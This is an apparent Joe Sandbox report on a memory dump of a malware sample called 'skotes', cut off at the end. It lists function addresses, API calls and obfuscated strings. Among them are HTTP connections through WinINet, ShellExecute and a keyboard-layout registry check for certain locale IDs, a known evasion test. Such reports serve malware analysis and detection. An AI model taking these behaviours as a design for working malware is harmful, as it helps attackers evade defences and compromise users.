RySfdMLx, xrefs: 00D8669C
ISNmfV==, xrefs: 00D867D1

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: d481a2d51804109b85a2cd99a7d8ddf4a0b898b13b50fa25bd3af887e3c0ac12
Instruction ID: 8676a239755891be404ab5ee07ec57b740859db9ce0292899373aa925e4b0594
Opcode Fuzzy Hash: d481a2d51804109b85a2cd99a7d8ddf4a0b898b13b50fa25bd3af887e3c0ac12
Instruction Fuzzy Hash: 8891B3B19001189BDB28EF28CC85BEDB7B9EB45314F4045EDE51997282DB359BC48FB4

Function 00D9D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D824BE

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 6886142facf1d0acc9596ab2e2b04c8c9e493bf647f5d8c66e2c34c3e25f9be6
Instruction ID: ad714a74adec5cfa26528951a687b41cc0e8dea75e2bd9bf1ebd9b4da4eb8e5f
Opcode Fuzzy Hash: 6886142facf1d0acc9596ab2e2b04c8c9e493bf647f5d8c66e2c34c3e25f9be6
Instruction Fuzzy Hash: 5951BDB29047468BDF15DF98D8C57A9B7F6FB48318F28852AE405EB394D370A940CBB0

Function 00D93640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00D9434F

Part of subcall function 00D97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00D97AEC
Part of subcall function 00D97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00D97AF8
Part of subcall function 00D97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00D97B01

Strings

Hykl, xrefs: 00D9387F
WX f, xrefs: 00D93BDE
V2Te, xrefs: 00D93EB0
93E0, xrefs: 00D95600
", xrefs: 00D93F89
WGS0, xrefs: 00D95533
KCWUOl==, xrefs: 00D95649
Vmc0, xrefs: 00D955D7
anE0, xrefs: 00D9566B
Fw==, xrefs: 00D9378E, 00D94E1D
GE0, xrefs: 00D95585
2I0, xrefs: 00D95627
jS=, xrefs: 00D96513
246122658369, xrefs: 00D91F95, 00D928DE, 00D92B33, 00D92BA0, 00D92F78, 00D93463, 00D934C4, 00D9502A, 00D9503D, 00D9507F, 00D95089, 00D95684
invalid stoi argument, xrefs: 00D91ED0, 00D92ED9, 00D92EE8, 00D9434A, 00D94F8D
MGE+, xrefs: 00D94866, 00D948DD, 00D94B85, 00D94BFC
VXA0, xrefs: 00D955AE
9HQ0, xrefs: 00D954E1
9c9aa5, xrefs: 00D95619
stoi argument out of range, xrefs: 00D92EF2, 00D94359, 00D943A0, 00D94F9C
3I3eB==, xrefs: 00D94802
8WI0, xrefs: 00D95692
MGI+, xrefs: 00D948AD, 00D949DC, 00D94BCC, 00D94CFB
WGpm, xrefs: 00D93CC9
aWW0, xrefs: 00D9555C
5120, xrefs: 00D93BAF, 00D93C9A
VXQ0, xrefs: 00D9550A
9250, xrefs: 00D954AD

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: 5ae077e60653bf147fc58dbc7e725a5052e9991678aad2124714d39732ab97ce
Instruction ID: c8f6e2db2c8f2667b5277e3e749d31ff5afa916fc3df9c1b99774c4b8f5e709c
Opcode Fuzzy Hash: 5ae077e60653bf147fc58dbc7e725a5052e9991678aad2124714d39732ab97ce
Instruction Fuzzy Hash: 2252F571A00248DBDF18EF78CD46B9DBBB5EF46304F54458CE449A7282DB359B848BB2

Function 00D91EC0 Relevance: 36.1, APIs: 2, Strings: 18, Instructions: 1092COMMON

Download Yara Rule

APIs

Part of subcall function 00D97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00D97AEC
Part of subcall function 00D97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00D97AF8
Part of subcall function 00D97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00D97B01

std::_Xinvalid_argument.LIBCPMT ref: 00D92EDE

Part of subcall function 00D9C199: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D9C1A5

std::_Xinvalid_argument.LIBCPMT ref: 00D92EED

Strings

WDw=, xrefs: 00D928C1, 00D934AA
WTw=, xrefs: 00D91F78, 00D92B16, 00D92F5E
Hykl, xrefs: 00D9387F
WTs=, xrefs: 00D92B83, 00D93449
8HJUeMD Lq5=, xrefs: 00D93054
WX f, xrefs: 00D93BDE
V2Te, xrefs: 00D93EB0
., xrefs: 00D92BDA
246122658369, xrefs: 00D91F95, 00D928DE, 00D92B33, 00D92BA0, 00D92F78, 00D93463, 00D934C4
", xrefs: 00D93F89
invalid stoi argument, xrefs: 00D91ED0, 00D92ED9, 00D92EE8, 00D9434A
stoi argument out of range, xrefs: 00D92EF2, 00D94359
8HJUeIfzLo==, xrefs: 00D92FB7, 00D93226
WGpm, xrefs: 00D93CC9
Fw==, xrefs: 00D9378E
5120, xrefs: 00D93BAF, 00D93C9A
nNo1LowMrFi, xrefs: 00D9298A
Ljg0, xrefs: 00D92136, 00D92228

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situstd::invalid_argument::invalid_argument
String ID: nNo1LowMrFi$"$.$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$Ljg0$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 2897603145-123131290
Opcode ID: 551c98d132f2d7d14f22a1a5047eb329af00dc4b2b98836b59037505ca991d1b
Instruction ID: 6d35d237bf6cfbcd3281cceb9d10a36b14e0dd23bb54d81a6abbd8bff2fdc5ad
Opcode Fuzzy Hash: 551c98d132f2d7d14f22a1a5047eb329af00dc4b2b98836b59037505ca991d1b
Instruction Fuzzy Hash: 5392E871A10258ABDF19EF28CC867ED7BB5DF46300F5445C8E84967282DB359B848FB2

Function 00D947B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00D97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00D97AEC
Part of subcall function 00D97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00D97AF8
Part of subcall function 00D97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00D97B01

Part of subcall function 00D8BE30: Sleep.KERNEL32(000005DC), ref: 00D8BEB8
Part of subcall function 00D8BE30: InternetOpenW.WININET(00DD8DC8,00000000,00000000,00000000,00000000), ref: 00D8BEC7
Part of subcall function 00D8BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00D8BEEC
Part of subcall function 00D8BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00D8BF35

std::_Xinvalid_argument.LIBCPMT ref: 00D94F92

Strings

GE0, xrefs: 00D95585
2I0, xrefs: 00D95627
93E0, xrefs: 00D95600
jS=, xrefs: 00D96513, 00D967E2
246122658369, xrefs: 00D9502A, 00D9503D, 00D9507F, 00D95089, 00D95684
WGS0, xrefs: 00D95533
KCWUOl==, xrefs: 00D95649
MGE+, xrefs: 00D94866, 00D948DD, 00D94B85, 00D94BFC
VXA0, xrefs: 00D955AE
9HQ0, xrefs: 00D954E1
9c9aa5, xrefs: 00D95619
stoi argument out of range, xrefs: 00D94359, 00D943A0, 00D94F9C
Vmc0, xrefs: 00D955D7
3I3eB==, xrefs: 00D94802
anE0, xrefs: 00D9566B
8WI0, xrefs: 00D95692
MGI+, xrefs: 00D948AD, 00D949DC, 00D94BCC, 00D94CFB
aWW0, xrefs: 00D9555C
Fw==, xrefs: 00D9378E, 00D94E1D
VXQ0, xrefs: 00D9550A
9250, xrefs: 00D954AD

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: ef37151936023b49381a7c5dfb919687ab859c3babf5e7716954ca802ad236a1
Instruction ID: b5d5589d3b6d01df59d07f09c0cefce85a9862cd09124c4419fe6ab8d50f9f1f
Opcode Fuzzy Hash: ef37151936023b49381a7c5dfb919687ab859c3babf5e7716954ca802ad236a1
Instruction Fuzzy Hash: D223F371A002588BEF19DB28CD8979DBBB6EB81304F5481DCE049A72D6DB359F848F71

Function 00D92F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

stoi argument out of range, xrefs: 00D94359
WTw=, xrefs: 00D92F5E
WGpm, xrefs: 00D93CC9
Hykl, xrefs: 00D9387F
Fw==, xrefs: 00D9378E
5120, xrefs: 00D93BAF, 00D93C9A
WX f, xrefs: 00D93BDE
V2Te, xrefs: 00D93EB0
246122658369, xrefs: 00D92F78
", xrefs: 00D93F89
invalid stoi argument, xrefs: 00D9434A

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: a26ea52aa2745f32450f842b549539f1daab3ed14ee6f0c0d0d591cc20ba7d5b
Instruction ID: e55d2047b622bc4535ab91e1f5534eb5e9fa49510338c06cd6e87bedfb9b9ecf
Opcode Fuzzy Hash: a26ea52aa2745f32450f842b549539f1daab3ed14ee6f0c0d0d591cc20ba7d5b
Instruction Fuzzy Hash: E772F671A002489BDF18EF78CD4AB9DBBB5EF46304F54458CE449A7282D7359B848BB2

Function 00D85EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00D85F13

Strings

00000422, xrefs: 00D860C9
0000043f, xrefs: 00D8612B
00000419, xrefs: 00D86098
Keyboard Layout\Preload, xrefs: 00D86054
00000423, xrefs: 00D860FA

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: ea703b2d01ab7ac575292df84961eb05354688539e1b916c972f1d80576caf16
Instruction ID: db7b4ffe8da604dff071f275ae08a711c84211979735fc3951ef15f9dad626e2
Opcode Fuzzy Hash: ea703b2d01ab7ac575292df84961eb05354688539e1b916c972f1d80576caf16
Instruction Fuzzy Hash: 12D1BF719002589BDF24EF64CC89BDEB7B9EF05310F5442D8E508E72D1DB749AA88FA4

Function 00D87D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00D87ED3

Strings

JjsrPl==, xrefs: 00D8828A
JjssPV==, xrefs: 00D881E2
JjsrQV==, xrefs: 00D88092
JjssOl==, xrefs: 00D8813A

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 87ee8418774c8c0c3b2423f8ad826ea2c0013984779ae8883aa738790c48a14a
Instruction ID: 9fb9736a33a4719319292c3328e75facec86460eb72ed68e4f06f4d22f702016
Opcode Fuzzy Hash: 87ee8418774c8c0c3b2423f8ad826ea2c0013984779ae8883aa738790c48a14a
Instruction Fuzzy Hash: A6E10A70E006449BDF15BB68DC4B7AD7B61EB42710F94429CE419AB3C2DB758E848BF2

Function 00D87990 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D877B0: ShellExecuteA.SHELL32(00000000,00D874CD,?,?,00000000,00000000), ref: 00D87345

SetCurrentDirectoryA.KERNEL32(00000000,3A54CF25), ref: 00D87B24

Strings

Fg==, xrefs: 00D87B6B
I2ka, xrefs: 00D879D1
V2Te, xrefs: 00D87A04

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: CurrentDirectoryExecuteShell
String ID: Fg==$I2ka$V2Te
API String ID: 2541617418-3582544802
Opcode ID: 0bf79a9eb485f7bfedda0e92ee3990c0a55f9b0751501eacbd8cb5501566b148
Instruction ID: 5160cd9db497ad952292675a9df612a73692d88af781768c884e701e0eb24b31
Opcode Fuzzy Hash: 0bf79a9eb485f7bfedda0e92ee3990c0a55f9b0751501eacbd8cb5501566b148
Instruction Fuzzy Hash: 50A13971A14148ABDF08FB78CD86B9DBB66EF41714F60814CF405AB3C6DB359A4487B2

Function 00DBD634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
